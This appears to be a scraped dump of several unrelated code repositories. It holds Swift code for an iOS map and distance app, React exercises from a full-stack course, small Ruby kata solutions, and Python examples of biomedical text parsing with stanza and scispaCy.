(currentLocation) in print(currentLocation.status) DispatchQueue.main.async { if currentLocation.status == "OK"{ self.lat = currentLocation.results[0].geometry.location.lat self.lng = currentLocation.results[0].geometry.location.lng self.mapView.animate(toLocation: CLLocationCoordinate2D(latitude: self.lat, longitude: self.lng)) self.marker.position = CLLocationCoordinate2D(latitude: self.lat, longitude: self.lng) UIView.animate(withDuration: 1) { self.downBar.transform = .identity self.searchBtnOutlet.transform = .identity self.getDirectionOutlet.transform = .identity self.downBar.alpha=0 } } else{ self.distanceTF.textColor = UIColor.red self.distanceTF.text = "(Enter Valid City Name)" UIView.animate(withDuration: 1) { self.downBar.transform = CGAffineTransform(translationX: 0, y: -70) self.searchBtnOutlet.transform = CGAffineTransform(translationX: 0, y: -70) self.getDirectionOutlet.transform = CGAffineTransform(translationX: 0, y: -70) self.downBar.alpha=1 } } } }) { (fail) in print(fail) } UIView.animate(withDuration: 1) { self.downBar.transform = .identity self.topView.transform = .identity self.searchBar.transform = .identity self.searchBtnOutlet.transform = .identity self.getDirectionOutlet.transform = .identity } } @IBAction func getDirectionsBtnTapped(_ sender: UIButton) { UIView.animate(withDuration: 1) { self.topView.transform = CGAffineTransform(translationX: 0, y: 120) self.searchBar.transform = CGAffineTransform(translationX: 0, y: -70) self.downBar.transform = .identity self.searchBtnOutlet.transform = .identity self.getDirectionOutlet.transform = .identity self.downBar.alpha=0 } } @IBAction func getSourceDestinationDetails(_ sender: UIButton) { self.source = self.sourceTextField.text! self.destination = self.destinationTextField.text! self.getLatLng() self.getDistanceTime() UIView.animate(withDuration: 1) { self.searchBtnOutlet.transform = CGAffineTransform(translationX: 0, y: -70) self.getDirectionOutlet.transform = CGAffineTransform(translationX: 0, y: -70) self.downBar.transform = CGAffineTransform(translationX: 0, y: -70) self.downBar.alpha=1 } } @IBAction func driveBtnTappedAction(_ sender: UIButton) { mode = "driving" self.getDistanceTime() } @IBAction func twoWheelerBtnTapped(_ sender: UIButton) { mode = "cycling" self.getDistanceTime() } @IBAction func walkingBtnTapped(_ sender: UIButton) { mode = "walking" self.getDistanceTime() } @IBAction func busBtnTapped(_ sender: UIButton) { mode = "driving" self.getDistanceTime() } func getLatLng(){ APIController().getLatLng(src: source, dest: destination, user: { (place) in DispatchQueue.main.async { if place.status == "OK"{ self.lat = place.results[0].geometry.location.lat self.lng = place.results[0].geometry.location.lng self.mapView.animate(toLocation: CLLocationCoordinate2D(latitude: self.lat, longitude: self.lng)) self.marker.position = CLLocationCoordinate2D(latitude: self.lat, longitude: self.lng) } else{ self.distanceTF.textColor = UIColor.red self.distanceTF.text = "(Enter Valid City Name)" } } }){ (fail) in print(fail) } } func getDistanceTime(){ APIController().getData(src:source,dest:destination,modes:mode,user: { (distance) in DispatchQueue.main.async { if distance.status == "OK"{ if let time = distance.rows![0].elements![0].duration?.text{ self.timeTF.text = time } if let text = distance.rows![0].elements![0].distance?.text{ self.distanceTF.text = "(\(text))" } } else{ self.distanceTF.textColor = UIColor.red self.distanceTF.text = "(Please Enter Valid City Name)" } } }) { (fail) in print(fail) } } } //extension ViewController:CLLocationManagerDelegate,MKMapViewDelegate{ // // func myLoc(lat:Double,lng:Double){ // mapView.delegate = self // locationManager.delegate = self // centerMapOnLocation(location: CLLocation(latitude: lat, longitude: lng)) // if (CLLocationManager.locationServicesEnabled()) { // locationManager.desiredAccuracy = kCLLocationAccuracyBest // locationManager.requestAlwaysAuthorization() // locationManager.requestWhenInUseAuthorization() // } // DispatchQueue.main.async { // if CLLocationManager.locationServicesEnabled() { // self.locationManager.startUpdatingLocation() // } // } // } // func centerMapOnLocation(location: CLLocation) // { // let coordinateRegion = MKCoordinateRegionMakeWithDistance(location.coordinate, // regionRadius*2, regionRadius*2) // mapView.setRegion(coordinateRegion, animated: true) // } // //} <file_sep>// // GooglePlacesAPIModel.swift // DistanceMatrixAPI // // Created by Appinventiv on 23/03/18. // Copyright © 2018 Appinventiv. All rights reserved. // import Foundation struct GooglePlacesAPIModel{ var html_attributions:[String] = [] var next_page_token: String = "" var results: [Results] = [] var status: String = "" init (json : [String:Any]){ html_attributions = [json["html_attributions"] as? String ?? ""] next_page_token = json["next_page_token"] as? String ?? "" let resultArr = json["results"] as? [[String:Any]] ?? [] for val in resultArr { results.append(Results.init(json:val)) } // results = resultArr.map({ // Results.init(json: $0) // }) status = json["status"] as? String ?? "" } } struct Results{ var formatted_address:String = "" var geometry : Geometry var icon: String = "" var id: String = "" var name: String = "" var opening_hours: OpeningHours var photos:[Photos] = [] var place_id: String = "" var rating: NSNumber = -1 var refrence: String = "" var types:[String] = [] init (json: [String:Any]){ formatted_address = json["formatted_address"] as? String ?? "" let geo = json["geometry"] as? [String:Any] ?? [:] geometry = Geometry(json: geo) icon = json["icon"] as? String ?? "" id = json["id"] as? String ?? "" name = json["name"] as? String ?? "" let opnHour = json["opening_hours"] as? [String:Any] ?? [:] opening_hours = OpeningHours(json: opnHour) let photoArr = json["photos"] as? [[String:Any]] ?? [] for val in photoArr{ photos.append(Photos(json: val)) } place_id = json["place_id"] as? String ?? "" rating = json["rating"] as? NSNumber ?? -1 refrence = json["refrence"] as? String ?? "" types = (json["types"] as? [String])! } } struct Geometry{ var location: Location var viewport: Viewport init(json:[String:Any]){ let loc = json["location"] as? [String:Any] location = Location(json: loc!) let viewPort = json["viewport"] as? [String:Any] viewport = Viewport(json: viewPort!) } } struct Location{ var lat: Double = 0.0 var lng: Double = 0.0 init (json:[String:Any]){ lat = json["lat"] as? Double ?? 0.000 lng = json["lng"] as? Double ?? 0.000 } } struct Viewport{ var northeast: Location var southwest: Location init (json:[String:Any]){ let northeastA = json["northeast"] as? [String:Any] northeast = Location(json: northeastA!) let southwestA = json["southwest"] as? [String:Any] southwest = Location(json: southwestA!) } } struct OpeningHours{ var open_now: Bool = false var weekday_text: [String] = [] init(json:[String:Any]){ open_now = json["open_now"] as? Bool ?? false weekday_text = json["weekday_text"] as? [String] ?? [] } } struct Photos{ var height: Int = 0 var html_attributions: [String] = [] var photo_reference: String = "" var width: Int = 0 init (json:[String:Any]){ height = json["height"] as? Int ?? 0 html_attributions = json["html_attributions"] as? [String] ?? [] photo_reference = json["photo_reference"] as? String ?? "" width = json["width"] as? Int ?? 0 } }
c382f214b40e239c40c952dc7a909c8eb4b648cd
[ "Swift" ]
5
Swift
SankalpKalra/GoogleDistanceMatrixAPI
0554ee6214a0532ae53ad28c13d1e3c70742e8bc
987605412c1fd05f1506d720ae8f2b622149ebf6
refs/heads/master
<file_sep>import React from "react"; const PartsTotal = ({ parts }) => { const exercises = parts.map(part => part.exercises); const total = exercises.reduce((a, b) => a + b, 0); return ( <p> <strong>Total of {total} exercises</strong> </p> ); }; export default PartsTotal; <file_sep>import React from "react"; import Part from "./Part"; import PartsTotal from "./PartsTotal"; const Content = ({ parts }) => { const renderParts = () => { return parts.map(part => ( <Part key={part.id} name={part.name} excersises={part.exercises} /> )); }; return ( <> {renderParts()} <PartsTotal parts={parts} /> </> ); }; export default Content; <file_sep>import React, { useState, useEffect } from "react"; import Filter from "./components/Filter"; import PersonForm from "./components/PersonForm"; import Persons from "./components/Persons"; import Notification from "./components/Notification"; import phonebookService from "./services/phonebook"; import "./App.css"; const App = () => { const [persons, setPersons] = useState([]); const [filteredPersons, setFilteredPersons] = useState(persons); const [searchTerm, setSearchTerm] = useState(""); const [newName, setNewName] = useState(""); const [newNumber, setNewNumber] = useState(""); const [notification, setNotification] = useState({ message: null, isError: false }); const handleNameChange = event => { setNewName(event.target.value); }; const handleNumberChange = event => { setNewNumber(event.target.value); }; const handleSearchChange = event => { setSearchTerm(event.target.value); }; const handlePersonRemoval = personToBeRemoved => { if (window.confirm(`Remove ${personToBeRemoved.name}?`)) { phonebookService .remove(personToBeRemoved.id) .then(() => { setPersons( persons.filter( person => person.id !== personToBeRemoved.id ) ); setNotification({ message: `${personToBeRemoved.name} was removed successfully!`, isError: false }); setTimeout(() => { setNotification({ message: null, isError: false }); }, 4000); }) .catch(error => { setNotification({ message: `${error}!`, isError: true }); setTimeout(() => { setNotification({ message: null, isError: false }); }, 4000); setPersons( persons.filter( person => person.id !== personToBeRemoved.id ) ); }); } }; // fetch initial persons data from server useEffect(() => { phonebookService.getAll().then(initialPersons => { setPersons(initialPersons); }); }, []); // Filter persons based on searchTerm useEffect(() => { const filtered = persons.filter(person => person.name.toLowerCase().includes(searchTerm.toLowerCase()) ); setFilteredPersons(filtered); }, [searchTerm, persons]); const handleAddClick = event => { event.preventDefault(); if (persons.some(person => person.name === newName)) { if ( window.confirm( `${newName} is already in the phonebook, update number?` ) ) { const oldPerson = persons.find( person => person.name === newName ); const updatedPerson = { ...oldPerson, number: newNumber }; phonebookService .update(oldPerson.id, updatedPerson) .then(response => { setPersons( persons.map(person => oldPerson.id !== person.id ? person : response ) ); setNotification({ message: `Number associated with '${oldPerson.name}' updated successfully!`, isError: false }); setTimeout(() => { setNotification({ message: null, isError: false }); }, 4000); }) .catch(error => { setNotification({ message: `${error}!`, isError: true }); setTimeout(() => { setNotification({ message: null, isError: false }); }, 4000); setPersons( persons.filter(person => person.id !== oldPerson.id) ); }); } } else if (newName === "") { alert("Enter a name"); } else if (newNumber === "") { alert("Enter a number"); } else { const newPerson = { name: newName, number: newNumber }; phonebookService .create(newPerson) .then(returnedPerson => { setPersons(persons.concat(returnedPerson)); setNotification({ message: `'${returnedPerson.name}' was added successfully!`, isError: false }); setTimeout(() => { setNotification({ message: null, isError: false }); }, 4000); }) .catch(error => { setNotification({ message: `${error.response.data.error}!`, isError: true }); setTimeout(() => { setNotification({ message: null, isError: false }); }, 4000); }); } setNewName(""); setNewNumber(""); }; return ( <> <h1>Phonebook</h1> <Filter searchTerm={searchTerm} handleSearchChange={handleSearchChange} /> <Notification notification={notification} /> <Persons filteredPersons={filteredPersons} handlePersonRemoval={handlePersonRemoval} /> <h2>Add new contact</h2> <PersonForm newName={newName} newNumber={newNumber} handleNameChange={handleNameChange} handleNumberChange={handleNumberChange} handleAddClick={handleAddClick} /> </> ); }; export default App; <file_sep>import React from "react"; const Persons = ({ filteredPersons, handlePersonRemoval }) => { return ( <table className="persons"> <tbody> {filteredPersons.map(person => { return ( <tr key={person.id}> <td>{person.name}</td> <td>{person.number}</td> <td onClick={() => handlePersonRemoval(person)} className="persons__remove" > &times; </td> </tr> ); })} </tbody> </table> ); }; export default Persons; <file_sep># Full Stack Open 2019 ### Syväsukellus moderniin websovelluskehitykseen https://fullstackopen.com/<file_sep>import React from "react"; import Weather from "./Weather"; const CountryInfo = ({ country }) => { return ( <div> <h2>{country.name}</h2> <hr /> <p> <strong>Capital:</strong> {country.capital} </p> <p> <strong>Population:</strong> {country.population} </p> <h3>Languages</h3> <ul> {country.languages.map(language => { return <li key={language.iso639_1}>{language.name}</li>; })} </ul> <img className="country__flag" src={country.flag} alt={`Flag of ${country.name}`} /> <Weather country={country} /> </div> ); }; export default CountryInfo; <file_sep>import React from "react"; const PersonForm = ({ newName, newNumber, handleNameChange, handleNumberChange, handleAddClick }) => { return ( <form className="add"> <div className="add__row"> <span className="add__label">Name: </span> <input value={newName} onChange={event => handleNameChange(event)} /> </div> <div className="add__row"> <span className="add__label">Number: </span> <input value={newNumber} onChange={event => handleNumberChange(event)} /> </div> <button className="add__submit" onClick={event => handleAddClick(event)} type="submit" > Add </button> </form> ); }; export default PersonForm; <file_sep>import React, { useState, useEffect } from "react"; import axios from "axios"; const Weather = ({ country }) => { const [weather, setWeather] = useState({}); // Fetch capital weather information useEffect(() => { let didCancel = false; axios .get( `https://api.apixu.com/v1/current.json?key=d2595e26b0da4168814172021191808&q=${ country.capital }` ) .then(response => { if (!didCancel) { setWeather(response.data.current); } }); return () => { didCancel = true; }; }, [country]); return ( <> <h3>Weather in {country.capital}</h3> {weather.temp_c ? ( <> <p> <strong>Temperature: {weather.temp_c} &deg;C</strong> </p> <p> <strong> Wind: {weather.wind_kph} kph ({weather.wind_dir}) </strong> </p> </> ) : ( <p>Weather info not available</p> )} </> ); }; export default Weather; <file_sep>import React, { useState, useEffect } from "react"; import axios from "axios"; import CountryInfo from "./components/CountryInfo"; import "./App.css"; function App() { const [countries, setCountries] = useState([]); const [filteredCountries, setFilteredCountries] = useState([]); const [searchTerm, setSearchTerm] = useState(""); const handleSearchChange = event => { setSearchTerm(event.target.value); }; const handleDetailsClick = countryName => { setSearchTerm(countryName); }; const CountryList = ({ countries }) => { if (countries.length > 10) { return <p>Too many matches...</p>; } else if (countries.length < 10 && countries.length > 1) { return countries.map(country => ( <div key={country.numericCode} className="filter__suggestion"> <p>{country.name}</p> <button onClick={() => handleDetailsClick(country.name)}> Details </button> </div> )); } else { return countries.map(country => ( <CountryInfo key={country.numericCode} country={country} /> )); } }; // Filter countries based on searchTerm useEffect(() => { const filtered = countries.filter(country => country.name.toLowerCase().includes(searchTerm.toLowerCase()) ); setFilteredCountries(filtered); }, [countries, searchTerm]); // Fetch all countries list useEffect(() => { axios.get("https://restcountries.eu/rest/v2/all").then(response => { setCountries(response.data); }); }, []); return ( <> <form> Find countries:{" "} <input value={searchTerm} onChange={event => handleSearchChange(event)} type="text" /> </form> {searchTerm && <CountryList countries={filteredCountries} />} </> ); } export default App; <file_sep>import React, { useState } from "react"; import ReactDOM from "react-dom"; const Table = ({ children }) => { return ( <table> <tbody>{children}</tbody> </table> ); }; const Statistics = ({ good, neutral, bad, total }) => { return ( <> <h2>Statistics</h2> {total ? ( <Table> <Statistic text="Good" value={good} /> <Statistic text="Neutral" value={neutral} /> <Statistic text="Bad" value={bad} /> <Statistic text="All" value={total} /> <Statistic text="Average" value={(total && (good - bad) / total).toFixed(2)} /> <Statistic text="Positive" value={(total && (good / total) * 100).toFixed(2)} symbol="%" /> </Table> ) : ( <p>No feedback given</p> )} </> ); }; const Statistic = ({ text, value, symbol }) => ( <tr> <td>{text}</td> <td> {value} {symbol} </td> </tr> ); const Button = ({ type, handleClick, children }) => ( <button onClick={() => handleClick(type)}>{children}</button> ); const App = () => { const [good, setGood] = useState(0); const [neutral, setNeutral] = useState(0); const [bad, setBad] = useState(0); const [total, setTotal] = useState(0); const handleClick = type => { setTotal(total + 1); switch (type) { case "good": setGood(good + 1); break; case "neutral": setNeutral(neutral + 1); break; case "bad": setBad(bad + 1); break; default: break; } }; return ( <> <h2>Give feedback</h2> <Button type="good" handleClick={handleClick}> Good </Button> <Button type="neutral" handleClick={handleClick}> Neutral </Button> <Button type="bad" handleClick={handleClick}> Bad </Button> <Statistics good={good} neutral={neutral} bad={bad} total={total} /> </> ); }; ReactDOM.render(<App />, document.getElementById("root"));
8a30333626f1ef067802c7c0c3db1e4e2f66f957
[ "JavaScript", "Markdown" ]
10
JavaScript
peippo/full-stack-open-2019
6ca752cd9a8ccc0577c67d6d06d0adc4d1f60923
055d4135da4ea4893a58b3a8b147f603b3a87610
refs/heads/master
<file_sep>def all_squared_pairs(num) bound = 2147483647 answer = [] (0..Math.sqrt(num).to_i).each do |n| first_squared = n * n if first_squared <= num second = Math.sqrt(num - first_squared) if second.to_f - second.to_i == 0 if answer.flatten.to_s.scan(n.to_s).empty? answer << [n, second.to_i] end end end end answer end # Best in class answer from Codewars def all_squared_pairs(num) 0.upto(num).take_while { |n| n * n <= num / 2 }. map { |n| [n, Math.sqrt(num - n * n)] }. select { |n, m| m == m.to_i } end<file_sep>require 'rubygems' require 'bundler' Bundler.require #my code def ho(a = "default") if a == "default" "Ho!" else "Ho " + a end end <file_sep># My solution def validate(email) # Enter your code here to validate an email addresses valid = false if email.scan(/\S+@/).size > 0 && email.scan(/[a-z]+\.+[a-z]/).size > 0 && email.scan(/\.+[a-z]+$/).size > 0 valid = true end valid end # Optimal def validate(email) /^.+@.+\..+$/ === email end<file_sep>require './hohoho.rb' Bundler.require require "test/unit" describe "Ho ho ho" do it "should write Ho Ho Ho!" do ho().should eql("Ho!") ho(ho()).should eql("Ho Ho!") ho(ho(ho())).should eql("Ho Ho Ho!") end end
0ad4a5c55a037c02f03ebc0fa67b53d2395fb300
[ "Ruby" ]
4
Ruby
JGTR/codewars
0f9586d2f8c405a7215102acd6b07b30d8f66833
29f84ec6c0542e8bb100e6b91a6780543dfaf53d
refs/heads/main
<file_sep>#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Some simple usage examples of the stanfordnlp Stanza library The original Colab notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and 'nltk' modules, I'd highly recommend you install both libraries under an isolated python virtual environment and avoid borking your system's python installation Some extra info: Python version: 3.8.6 OS: arch linux """ # Importing modules import re import stanza import nltk # The path where downloads should be saved. By default it points to your user's # HOME directory on linux/macos, no idea where it does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical models # Our main pipeline, trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text # The text below was extracted from the 2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = """ Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from Okinawa, Japan. To characterize the mosquitocidal activity of parasporal inclusions of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed from the existing mosquitocidal B. thuringiensis strains in: (1) lacking the larvicidal activity against Culex pipiens molestus and haemolytic activity, and (2) SDS-PAGE profiles, immunological properties and N-terminal amino acid sequences of parasporal inclusion proteins. It is clear from the results that the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with a unique toxicity spectrum. This is the first report of the occurrence of a mosquitocidal B. thuringiensis strain with an unusual toxicity spectrum, lacking the activity against the culicine mosquito. """ print(text) # Removing newlines # The line below will replace newlines with a single whitespace, then any # trailing spaces will be trimmed. We'll leave sentence segmentation for the # trained model to handle. text = re.sub(r'\n+', ' ', text).strip() print(text) # Annotating the document # Just call `nlp(STRING)` and that's pretty much it doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation # An annotated document will have the following [structure][stanza-objs]: # * A `document` contains `sentences`; # * A `sentence` contains `tokens`/`words`; # * A `token` contains one of more `words`; # note: On stanza there is a distiction between a [Token][stanza-token] and a # [Word][stanza-word] object. # Unlike `spacy`, in order to access a word's properties (e.g.: lemma, PoS # tags, etc.) you must iterate over the document's sentences and then iterate # over each sentences to get their tokens/words (wich also means their token # IDs are relative to the sentences they're from, you'll see down below). In # general, a stanza code looks something like this: # for sent in doc.sentences: # # Operating on the document sentences # # At this level you get the semantic dependencies # # for token in sent.tokens: # # Operating on the sentence's tokens # # for word in sent.words: # # Operating on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing # Semantic dependency information can be accessed at sentence level print(' ID TEXT DEP HEAD TEXT HEAD ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP--- HEAD TEXT ID') for dep in sent.dependencies: # Using 'Source' and 'Target' here as a reference to the semantic # dependency arrow direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks # The stanza framework has no built-in chunking, instead we'll be using the # `nltk` module and its example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An optional determiner; # * `<JJ.*>*` - Zero or more adjectives; # * `<NN.*>+` - One or more nouns. # # where: # * `?` means zero or one of the previous pattern; # * `*` means zero or more of the previous pattern; # * `+` means one or more of the previous pattern; # * `.` means any (single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool = True): """ Print a document's chunks Arguments: doc: stanza.Document An (PoS) annotated document grammar: str An nltk chunk grammar regular expression print_full_tree: True|False If true, print the whole tree, else print only the matching grammar chunks """ cp = nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for w in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\n\n') else: for subtree in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition (NER) # From stanza's available NER models we'll test the JNLPBA, Linnaeus and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): """ Just a shortcut to annotate the text with the given NER model """ nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}') show_ner(text, 'jnlpba') show_ner(text, 'linnaeus') show_ner(text, 's800') <file_sep># Biomedical Parsers Here are some example scripts that hopefully can introduce you to NLP of biomedical texts with [scispaCy][scispacy-home] and [stanza-bio][stanza_bio-home]. Preferably, you should try running the code from the provided colab notebooks since they require the least ammount of effort to setup and run but you can try running the scripts on your machine after you install their requirements # Colab notebooks The scripts were originally written on the colab notebooks below stanza-bio: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing # Requirements to run the scripts locally * Both scripts require the python version 3. * The `stanza-bio.py` script requires the `stanza` and `nltk` modules. * The `scispacy.py` script requires the `scispacy` module and the `jupyter-notebook` client. You'll have to find out how to install the requirements on your machine, preferably under a [virtual environment][venv]. Note that the scripts were tested under python version `3.8.6` on arch linux. # scispaCy requirements installation The scispaCy script requires the scispacy module and its dependencies, as well as the scientific models: ```zsh # Install the scispacy and its dependencies pip install scispacy # Download the core pipeline pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_core_sci_sm-0.3.0.tar.gz' # Download the NER models pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_craft_md-0.3.0.tar.gz' pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_jnlpba_md-0.3.0.tar.gz' pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_bc5cdr_md-0.3.0.tar.gz' pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_bionlp13cg_md-0.3.0.tar.gz' ``` Also, you'll need to install the `jupyter-notebook` matching your operating system, incase you want to use the graph visualization tools. # stanza-bio requirements installation The stanza script only requires the `stanza` and `nltk` modules: ```zsh pip install stanza nltk ``` [scispacy-home]: https://allenai.github.io/scispacy/ [stanza_bio-home]: https://stanfordnlp.github.io/stanza/ [venv]: https://towardsdatascience.com/virtual-environments-104c62d48c54 <file_sep>!#/bin/sh pip install stanza nltk <file_sep>#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Some simple usage examples of the spaCy library The original Colab notebook where this script came from: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing Colab notebook on stanza-bio: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing This script requires the 'stanza' and 'nltk' modules, I'd highly recommend you install both libraries under an isolated python virtual environment and avoid borking your system's python installation Some extra info: Python version: 3.8.6 OS: arch linux """ # Importing modules import os from pathlib import Path import re import shutil from typing import List import spacy from spacy import displacy from spacy.matcher import Matcher from spacy.util import filter_spans # Initializing the document annotator nlp = spacy.load('en_core_sci_sm') # Defining the text # The text below was extracted from the 2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = """ Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from Okinawa, Japan. To characterize the mosquitocidal activity of parasporal inclusions of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed from the existing mosquitocidal B. thuringiensis strains in: (1) lacking the larvicidal activity against Culex pipiens molestus and haemolytic activity, and (2) SDS-PAGE profiles, immunological properties and N-terminal amino acid sequences of parasporal inclusion proteins. It is clear from the results that the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with a unique toxicity spectrum. This is the first report of the occurrence of a mosquitocidal B. thuringiensis strain with an unusual toxicity spectrum, lacking the activity against the culicine mosquito. """ print(text) # Removing newlines # The line below will replace newlines with a single whitespace, then any # trailing spaces will be trimmed. We'll leave sentence segmentation for the # trained model to handle. text = re.sub(r'\n+', ' ', text).strip() print(text) # Annotating the document # Just call `nlp(STRING)` and that's pretty much it doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation # After annotating the text, the resulting `doc` object can be iterated for its # collection of tokens and their attributes. # # Alternatively, the tokens can be accessed from each of the docs sentences in # `doc.sents` # # https://spacy.io/api/token#attributes print(' ID TEXT LEMMA UPOS POS STOPWORD') for (i, token) in enumerate(doc): head = 'ROOT' if token.head.i == token.i else token.head.text print(f'{i+1:>4} {token.text:<20} {token.lemma_:<20} {token.pos_:>6} ' + f'{token.tag_:<6} {str(token.is_stop):<10}') for (i, sent) in enumerate(doc.sents): print(f'SENTENCE {i+1}: {sent.text}') print([t.text for t in sent], end='\n\n') """# Semantic Dependency Parsing Semantic dependency information can be accessed at the token level """ print(' ID TEXT DEP HEAD TEXT HEAD ID') for (i, token) in enumerate(doc): head = 'ROOT' if token.head.i == token.i else token.head.text print(f'{i+1:>4} {token.text:>20} <{token.dep_:-^10} {head:<20}', f'{token.head.i:>3}') # Saving semantic dependencies to SVG files # Deleting previously saved files, if any if os.path.exists('spacy-deps'): shutil.rmtree('spacy-deps') os.mkdir('spacy-deps') for (i, sent) in enumerate(doc.sents): svg_path = os.path.join('spacy-deps', f'sentence-{i+1}.svg') svg = displacy.render(sent, style='dep', jupyter=False) output_path = Path(svg_path) output_path.open('w', encoding='utf-8').write(svg) # Noun Chunks # Below, for each noun chunk in the document we display # # * The chunk's raw text; # * The token in the chunk closest to the sentence's root; # * The chunk's root token dependency to its head; # * The text from the head of the chunk's root; print(' NOUN CHUNK TEXT ROOT TEXT', 'HEAD DEP HEAD TEXT') for (i, chunk) in enumerate(doc.noun_chunks): if chunk.root.head.i == chunk.root.i: # If the chunk's root token is also the sentence's root chunk_root_head_text = 'ROOT' else: chunk_root_head_text = chunk.root.head.text print(f'{i+1:>3} {chunk.text:<35} {chunk.root.text:>20}', f'<{chunk.root.dep_:-^10} {chunk_root_head_text}') # Named Entity Recognition (NER) # Using the available NER models on the same text data # # * CRAFT; # * BC5CDR; # * JNLPBA; # * BIONLP13CG. def show_ner(text: str, ner_model: str): """ Just a shortcut to annotate the text with the given NER model """ nlp = spacy.load(ner_model) doc = nlp(text) print(f'\nNER MODEL: {ner_model}') print(' TYPE TEXT') for ent in doc.ents: print(f'{ent.label_:>20} {ent.text}') # CRAFT corpus show_ner(text, 'en_ner_craft_md') # BC5CDR corpus show_ner(text, 'en_ner_bc5cdr_md') # JNLPBA corpus show_ner(text, 'en_ner_jnlpba_md') # BIONLP13CG corpus show_ner(text, 'en_ner_bionlp13cg_md') # Rule-Based Matching # Using the `<DT>?<JJ.*>*<NN.*>+` POS tag pattern example from the nltk book to # capture noun chunks, where: # # * `?` means zero or one of the previous pattern; # * `*` means zero or more of the previous pattern; # * `+` means one or more of the previous pattern; # * `.` means any (single) character. # * `<DT>?` - An optional determiner; # * `<JJ.*>*` - Zero or more adjectives; # * `<NN.*>+` - One or more nouns. # # nltk-book: https://www.nltk.org/book/ch07.html # Loading the model # Using a model without NER capabilities to annotate the text nlp = spacy.load('en_core_sci_sm') doc = nlp(text) # Displaying the generic entities # The main pipelines `en_core_sci_sm|md|lg` come with the generic `ENTITY` # label Document = spacy.tokens.Doc Span = spacy.tokens.Span def print_all_entities(doc: Document): """ Just a simple shortcut to list a document's entities Arguments: doc: Document An annotated spacy document """ print(' ID LABEL TEXT') for (i, ent) in enumerate(doc.ents): print(f'{i+1:>3} {ent.label_:<10} {ent.text:<35}') print_all_entities(doc) # Matching chunks to POS tag rules def get_matched_pos_chunks(doc, pattern): """ Get the list of chunks from the document that match the pattern Overlapping spans will be filtered and the longest ones will be returned on the list, for example, the text span a mosquitocidal Bacillus thuringiensis with PoS Tags DT JJ JJ NN will yield the following matches: DT JJ JJ NN - a mosquitocidal Bacillus thuringiensis JJ JJ NN - 